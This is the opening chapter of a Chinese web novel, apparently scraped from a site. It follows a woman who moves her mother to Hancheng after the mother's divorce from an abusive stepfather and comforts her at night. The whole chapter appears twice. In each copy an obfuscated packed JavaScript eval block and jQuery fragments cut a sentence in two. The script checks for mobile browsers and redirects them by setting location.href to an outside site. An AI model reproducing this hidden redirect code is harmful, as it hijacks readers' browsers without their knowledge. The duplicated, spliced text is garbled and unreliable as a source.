1. 离婚
从民政局出来。
宋昭彤把离婚证收入文件袋里，按了按凸起巴掌大的证件，开口时惊讶地左右看了一眼，找到了落在身后的母亲宋梨花。
明媚的阳光落在梨花的身上，她略显青白的面色，是多年操劳与压抑下的憔悴。
宋昭彤的心有些沉痛，但她习惯了以冷静自持来面对一切，带着从容的面具迎了上去。
“一点的动车，这个时间刚好，我们走吧。”
十点办完离婚手续，店铺房产委托中介处理，东西昨天也全部打包好寄到汉城，她们不需要在这座城市再浪费时间了。
宋梨花听完女儿的安排，神色木然地点了点头。
宋昭彤心中知道，在与继父王城离婚，母亲没有后悔。
王城是梨花来临市打工时认识的，双方都是带着女儿离异，生活上存在许多不便和对家庭教育的缺失。
俩人合计之下，约定绝不打骂苛待继女、绝不动手家暴，便重组了家庭。
王城自诩是城里人有文化，心底轻视梨花。早些年他还能维持和善温柔的表象，直到他看不上的二婚妻子从洗碗工做到帮厨、主厨，渐渐积攒了本钱，开了一家饭店，微妙的平衡便被打破。
梨花希望夫妻二人一起开店，王城却固执地守着图书馆清闲又体面的工作，一个忙忙碌碌、没有一刻喘息，一个养花斗鸟、连家中油瓶倒了也不扶。
相安无事也罢，但生活总有不顺。
王城下岗以后，脾气越来越古怪。些许鸡毛蒜皮的小矛盾，总上纲上线争个高低，恨不得把梨花踩在脚底，狠狠贬低一通才算痛快。
这样压抑又扭曲的环境，除了王城本人以外，每个人都觉得窒息。
不同的是宋昭彤和王城的女儿可以逃离，梨花却不能。
天黑了，再是难过，梨花还是会选择回家。
把脏乱的屋子整理干净，就着一盏小夜灯，慢慢睡去。
宋昭彤劝过他们离婚，但梨花却从来都是以“女人离两次婚，会被人指指点点”来拒绝。时间久了，宋昭彤也不愿意管了，大学考到汉城大学计算机系，一直到三十岁这一年，只回来过几次。
在宋昭彤的心中，梨花一直都是矛盾的。
——既软弱保守、又果决坚强。
从宋昭彤六岁被生父家暴，连自己名字都写不完整的梨花选择起诉离婚，两兜空空、分明占了理，却愿意为了所谓情义，背下前夫欠下一千元赌债，带着女儿离开。
从梨花多年忍受王城的家庭软暴力，任劳任怨，所有人、包括王城自己也以为可以拿捏她一辈子的时候，王城冲动下的一巴掌，打碎了梨花所有退让，她头也不回，离开了那个苦心经营了二十年的家。
还有，今天该是梨花的重生日。
以后不会有人享受着她的辛劳，又贬低她的残疾与没文化。
可是她却仿佛把心落在了哪里，从民政局出来，便只剩下一具躯壳行走于世。
宋昭彤动了动手指，脚步沉重地走上前，不太自然地挽住了梨花的手臂。
“我们回家吧。”
宋梨花怔怔然望向比自己高出一个头的女儿，面露惘然，轻轻点了点头。
*
汉城。
宋昭彤大学毕业，便进入当地的互联网企业。
三十岁，上年度体检合格，名下有房有车，虽说还有贷款没还完，但也存下了一笔可观的储蓄。再加上养老金、年金和债券投资，退休以后基本的财务自由不成问题。
但这些宋昭彤并没有和梨花说过。
不是担心梨花介入她的财务管理，而是不愿意主动把不婚的家庭议题摆到台面上。
毕竟宋昭彤选择不婚不恋，并不是因为思想独立，对婚姻本质的批判态度，或是追求理想中的完美伴侣。
她不过是患有异性恐惧症，没有办法与异性物理接触，也没有遇上可以进一步发展亲密关系的同性。
女孩子或可爱、或漂亮，万万千优秀的女性，闪闪发光让人移不开目光，宋昭彤产生不了一点邪念。
两厢之下，她只得勤勉地规划起退休生活，让自己老有钱养。
把梨花安顿下来，已经晚上十点多。
宋昭彤泡了澡，像是没有骨头一样，端着热牛奶瘫在沙发上，长长舒了一口气。
身体放松了，脑子却还是没有消停，一会儿想最后两天的假要怎么过，一会儿想如何安排梨花的生活。
慢吞吞喝着热牛奶，她心里有些为难。
十八岁到三十岁，母女两地分离，彼此都生疏了不少。以至于她都快忘了，被梨花护着离开陈家后，俩人相依为命的岁月。
记忆流转，往事一一浮现。
很久没有记起的画面骤然出现在眼前，每一个动作、每一声尖叫怒斥都清晰可闻，没有因为时间的流逝而模糊褪色。
玻璃杯里的牛奶洒了几滴在手背上，薄薄的皮肤包裹的青筋愈发脆弱。
宋昭彤紧紧抿着嘴唇，有些不快地坐直身体，暴躁地连抽了几张纸巾把溢出的牛奶擦干净，快速喝完剩下的半杯，起身走到厨房洗杯子。
枯燥地重复清洗的动作，直到情绪渐渐平复。
她面无表情地看了眼时间，十一点。
不知道梨花睡了没有？
宋昭彤擦干手，又热了一杯牛奶，端着走到梨花房前。
透过门缝，灯已经关了。
宋昭彤突然想起梨花的习惯，床边总要留一盏小夜灯才能入睡，但新买的小夜灯还在客厅，连盒子都没拆。
她迟疑了一瞬还是来到客厅，把小夜灯取了出来，手握着门把，轻轻打开房门。
屋子里一片漆黑，浓得化不开的黑暗中，传来了细弱的泣声。
宋昭彤顿在原地，难以置信地看着床的位置，直到眼睛习惯了黑暗，这才确定听到的压抑到极点的哭声是从拱起的棉被下发出的。
梨花没有在她面前哭过。
所以她从不知道，原来梨花也会掉眼泪，会在这样黑黢黢的地方，一个人躲在被子下，悄悄啜泣。
“梨花。”宋昭彤无措地发出了声音。
像被什么戳中，宋梨花惊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334435|167759||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
慌地颤抖了一下，同样无措地捂着嘴，吞下了所有哽咽，装作沉睡，一动不动地蜷在被窝里。
宋昭彤皱了皱发酸的鼻尖，把小夜灯放在床头柜上，插电打开以后，这才看向把自己藏得严严实实的梨花，低声道歉。
“对不起，我没有准备夜灯，以后不会再忘了。”
一声哽咽从指缝间泄了出来，宋梨花忙用手擦干面上的泪，把脑袋探了出来，对着女儿摇了摇头。
“没事，没关系的。”
宋昭彤便点了点头，举着玻璃杯问：“来点牛奶？”
宋梨花不想来，但又不愿意拒绝女儿，就坐起来接过了杯子，垂着眼睑几口喝完。
收回空杯子，看着梨花面上的泪痕，宋昭彤在她开口赶人前又问：“一起睡吗？”
还没等到回答，宋昭彤就爬上了床，在梨花诧异的目光下，钻进了她的怀中。
母女俩很久没有这么亲近过，宋梨花抗拒不了这份久违的温暖。
房间依旧安静，但梨花多了一盏暖黄的光，和依偎着她的女儿，飘忽了一个月的心，也多了一分踏实。
“是舍不得、临市吗？”宋昭彤问。
宋梨花沉默了片刻，低声道：“只是习惯了。”
“回临市也可以，但我还要安排好工作，至少得明年。”宋昭彤斟酌着说道。
“不用、不用。”宋梨花突然有些着急，握住了女儿的手，“汉城很好，我喜欢这里。”
宋昭彤捏了捏梨花的手，“不是着急的事，这段时间你考虑一下，毕竟是以后养老的地方，我这边处理起来也不麻烦。”
宋梨花怔了片刻，摇摇头，语气失落地说：“不用回临市，那里也没什么好去的了。”
宋昭彤仰头看着她，觉得这话，像是还有没说完的。
许久，宋梨花又道：“那里已经没有家了。”
宋昭彤感受到梨花不自觉扣紧的手指，垂眸望去，看到了她放在身侧的左手，指甲正死死抠着缺了一小节指头的食指上。
宋昭彤模糊的知道，梨花是因为外公出海打渔丢了命，家里有了变故，才到了陈家村，并不是自愿嫁给她生父的。
至于其他的，关于谷城窖县的所有，都是她不愿意回忆和追溯的。
这是第一次。
宋昭彤产生了强烈的念头，想要了解她的梨花在那个地方，都经历了什么。
她牵起落在身侧的左手，把被抠得发红的食指解救了出来，仰视着梨花哭得红肿的眼睛，她问。
“你以前的家，是什么样的？”
……
天光微亮。
宋昭彤看着梨花发顶的白发，胸口闷滞，隐隐有些作痛。
不知道是熬夜导致的，还是因为梨花绝望的前半生而痛心。
她轻轻靠在梨花肩头，轻叹了一声。
原来她的梨花被困在六岁的秋夜中，残缺的手指还在流血，被无处安身的恶梦折磨了半辈子。
宋昭彤捂着闷痛的心口，想起来吃颗药丸，眼皮却沉得厉害，倚在梨花身边，陷入了深眠。
宋昭彤把离婚证收入文件袋里，按了按凸起巴掌大的证件，开口时惊讶地左右看了一眼，找到了落在身后的母亲宋梨花。
明媚的阳光落在梨花的身上，她略显青白的面色，是多年操劳与压抑下的憔悴。
宋昭彤的心有些沉痛，但她习惯了以冷静自持来面对一切，带着从容的面具迎了上去。
“一点的动车，这个时间刚好，我们走吧。”
十点办完离婚手续，店铺房产委托中介处理，东西昨天也全部打包好寄到汉城，她们不需要在这座城市再浪费时间了。
宋梨花听完女儿的安排，神色木然地点了点头。
宋昭彤心中知道，在与继父王城离婚，母亲没有后悔。
王城是梨花来临市打工时认识的，双方都是带着女儿离异，生活上存在许多不便和对家庭教育的缺失。
俩人合计之下，约定绝不打骂苛待继女、绝不动手家暴，便重组了家庭。
王城自诩是城里人有文化，心底轻视梨花。早些年他还能维持和善温柔的表象，直到他看不上的二婚妻子从洗碗工做到帮厨、主厨，渐渐积攒了本钱，开了一家饭店，微妙的平衡便被打破。
梨花希望夫妻二人一起开店，王城却固执地守着图书馆清闲又体面的工作，一个忙忙碌碌、没有一刻喘息，一个养花斗鸟、连家中油瓶倒了也不扶。
相安无事也罢，但生活总有不顺。
王城下岗以后，脾气越来越古怪。些许鸡毛蒜皮的小矛盾，总上纲上线争个高低，恨不得把梨花踩在脚底，狠狠贬低一通才算痛快。
这样压抑又扭曲的环境，除了王城本人以外，每个人都觉得窒息。
不同的是宋昭彤和王城的女儿可以逃离，梨花却不能。
天黑了，再是难过，梨花还是会选择回家。
把脏乱的屋子整理干净，就着一盏小夜灯，慢慢睡去。
宋昭彤劝过他们离婚，但梨花却从来都是以“女人离两次婚，会被人指指点点”来拒绝。时间久了，宋昭彤也不愿意管了，大学考到汉城大学计算机系，一直到三十岁这一年，只回来过几次。
在宋昭彤的心中，梨花一直都是矛盾的。
——既软弱保守、又果决坚强。
从宋昭彤六岁被生父家暴，连自己名字都写不完整的梨花选择起诉离婚，两兜空空、分明占了理，却愿意为了所谓情义，背下前夫欠下一千元赌债，带着女儿离开。
从梨花多年忍受王城的家庭软暴力，任劳任怨，所有人、包括王城自己也以为可以拿捏她一辈子的时候，王城冲动下的一巴掌，打碎了梨花所有退让，她头也不回，离开了那个苦心经营了二十年的家。
还有，今天该是梨花的重生日。
以后不会有人享受着她的辛劳，又贬低她的残疾与没文化。
可是她却仿佛把心落在了哪里，从民政局出来，便只剩下一具躯壳行走于世。
宋昭彤动了动手指，脚步沉重地走上前，不太自然地挽住了梨花的手臂。
“我们回家吧。”
宋梨花怔怔然望向比自己高出一个头的女儿，面露惘然，轻轻点了点头。
*
汉城。
宋昭彤大学毕业，便进入当地的互联网企业。
三十岁，上年度体检合格，名下有房有车，虽说还有贷款没还完，但也存下了一笔可观的储蓄。再加上养老金、年金和债券投资，退休以后基本的财务自由不成问题。
但这些宋昭彤并没有和梨花说过。
不是担心梨花介入她的财务管理，而是不愿意主动把不婚的家庭议题摆到台面上。
毕竟宋昭彤选择不婚不恋，并不是因为思想独立，对婚姻本质的批判态度，或是追求理想中的完美伴侣。
她不过是患有异性恐惧症，没有办法与异性物理接触，也没有遇上可以进一步发展亲密关系的同性。
女孩子或可爱、或漂亮，万万千优秀的女性，闪闪发光让人移不开目光，宋昭彤产生不了一点邪念。
两厢之下，她只得勤勉地规划起退休生活，让自己老有钱养。
把梨花安顿下来，已经晚上十点多。
宋昭彤泡了澡，像是没有骨头一样，端着热牛奶瘫在沙发上，长长舒了一口气。
身体放松了，脑子却还是没有消停，一会儿想最后两天的假要怎么过，一会儿想如何安排梨花的生活。
慢吞吞喝着热牛奶，她心里有些为难。
十八岁到三十岁，母女两地分离，彼此都生疏了不少。以至于她都快忘了，被梨花护着离开陈家后，俩人相依为命的岁月。
记忆流转，往事一一浮现。
很久没有记起的画面骤然出现在眼前，每一个动作、每一声尖叫怒斥都清晰可闻，没有因为时间的流逝而模糊褪色。
玻璃杯里的牛奶洒了几滴在手背上，薄薄的皮肤包裹的青筋愈发脆弱。
宋昭彤紧紧抿着嘴唇，有些不快地坐直身体，暴躁地连抽了几张纸巾把溢出的牛奶擦干净，快速喝完剩下的半杯，起身走到厨房洗杯子。
枯燥地重复清洗的动作，直到情绪渐渐平复。
她面无表情地看了眼时间，十一点。
不知道梨花睡了没有？
宋昭彤擦干手，又热了一杯牛奶，端着走到梨花房前。
透过门缝，灯已经关了。
宋昭彤突然想起梨花的习惯，床边总要留一盏小夜灯才能入睡，但新买的小夜灯还在客厅，连盒子都没拆。
她迟疑了一瞬还是来到客厅，把小夜灯取了出来，手握着门把，轻轻打开房门。
屋子里一片漆黑，浓得化不开的黑暗中，传来了细弱的泣声。
宋昭彤顿在原地，难以置信地看着床的位置，直到眼睛习惯了黑暗，这才确定听到的压抑到极点的哭声是从拱起的棉被下发出的。
梨花没有在她面前哭过。
所以她从不知道，原来梨花也会掉眼泪，会在这样黑黢黢的地方，一个人躲在被子下，悄悄啜泣。
“梨花。”宋昭彤无措地发出了声音。
像被什么戳中，宋梨花惊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334435|167759||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
慌地颤抖了一下，同样无措地捂着嘴，吞下了所有哽咽，装作沉睡，一动不动地蜷在被窝里。
宋昭彤皱了皱发酸的鼻尖，把小夜灯放在床头柜上，插电打开以后，这才看向把自己藏得严严实实的梨花，低声道歉。
“对不起，我没有准备夜灯，以后不会再忘了。”
一声哽咽从指缝间泄了出来，宋梨花忙用手擦干面上的泪，把脑袋探了出来，对着女儿摇了摇头。
“没事，没关系的。”
宋昭彤便点了点头，举着玻璃杯问：“来点牛奶？”
宋梨花不想来，但又不愿意拒绝女儿，就坐起来接过了杯子，垂着眼睑几口喝完。
收回空杯子，看着梨花面上的泪痕，宋昭彤在她开口赶人前又问：“一起睡吗？”
还没等到回答，宋昭彤就爬上了床，在梨花诧异的目光下，钻进了她的怀中。
母女俩很久没有这么亲近过，宋梨花抗拒不了这份久违的温暖。
房间依旧安静，但梨花多了一盏暖黄的光，和依偎着她的女儿，飘忽了一个月的心，也多了一分踏实。
“是舍不得、临市吗？”宋昭彤问。
宋梨花沉默了片刻，低声道：“只是习惯了。”
“回临市也可以，但我还要安排好工作，至少得明年。”宋昭彤斟酌着说道。
“不用、不用。”宋梨花突然有些着急，握住了女儿的手，“汉城很好，我喜欢这里。”
宋昭彤捏了捏梨花的手，“不是着急的事，这段时间你考虑一下，毕竟是以后养老的地方，我这边处理起来也不麻烦。”
宋梨花怔了片刻，摇摇头，语气失落地说：“不用回临市，那里也没什么好去的了。”
宋昭彤仰头看着她，觉得这话，像是还有没说完的。
许久，宋梨花又道：“那里已经没有家了。”
宋昭彤感受到梨花不自觉扣紧的手指，垂眸望去，看到了她放在身侧的左手，指甲正死死抠着缺了一小节指头的食指上。
宋昭彤模糊的知道，梨花是因为外公出海打渔丢了命，家里有了变故，才到了陈家村，并不是自愿嫁给她生父的。
至于其他的，关于谷城窖县的所有，都是她不愿意回忆和追溯的。
这是第一次。
宋昭彤产生了强烈的念头，想要了解她的梨花在那个地方，都经历了什么。
她牵起落在身侧的左手，把被抠得发红的食指解救了出来，仰视着梨花哭得红肿的眼睛，她问。
“你以前的家，是什么样的？”
……
天光微亮。
宋昭彤看着梨花发顶的白发，胸口闷滞，隐隐有些作痛。
不知道是熬夜导致的，还是因为梨花绝望的前半生而痛心。
她轻轻靠在梨花肩头，轻叹了一声。
原来她的梨花被困在六岁的秋夜中，残缺的手指还在流血，被无处安身的恶梦折磨了半辈子。
宋昭彤捂着闷痛的心口，想起来吃颗药丸，眼皮却沉得厉害，倚在梨花身边，陷入了深眠。